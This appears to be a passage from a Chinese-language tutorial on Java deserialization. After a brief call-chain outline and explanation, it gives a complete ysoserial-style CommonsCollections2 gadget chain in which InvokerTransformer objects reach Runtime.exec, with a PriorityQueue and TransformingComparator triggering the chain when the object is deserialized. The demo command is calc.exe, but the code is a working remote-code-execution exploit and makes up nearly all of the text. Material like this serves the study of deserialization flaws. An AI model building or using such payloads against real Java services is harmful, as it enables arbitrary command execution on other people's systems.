PriorityQueue#siftDown()
PriorityQueue#siftDownUsingComparato()
comparator.compare
TransformingComparator#compare()
Payload代码如下,先创建Transformer;再创建一个TransformingComparator对象comparator,传入创建的Transformer;之后创建PriorityQueue对象,它需要两个参数,第一个是参数初始化时的大小,至少需要两个元素才能触发排序,所以是2。第二个参数传入之前创建的comparator。
package ysoserial.payloads;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Comparator;
import java.util.PriorityQueue;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
public class CommonsCollections2phith0n {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception {
Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)};
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] { String.class,
Class[].class }, new Object[] { "getRuntime",
new Class[0] }),
new InvokerTransformer("invoke", new Class[] { Object.class,
Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class },
new String[] { "calc.exe" }),
};
Transformer transformerChain = new ChainedTransformer(fakeTransformers);
Comparator comparator = new TransformingComparator(transformerChain);
PriorityQueue queue = new PriorityQueue(2, comparator);
queue.add(1);
queue.add(2);
setFieldValue(transformerChain, "iTransformers", transformers);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
}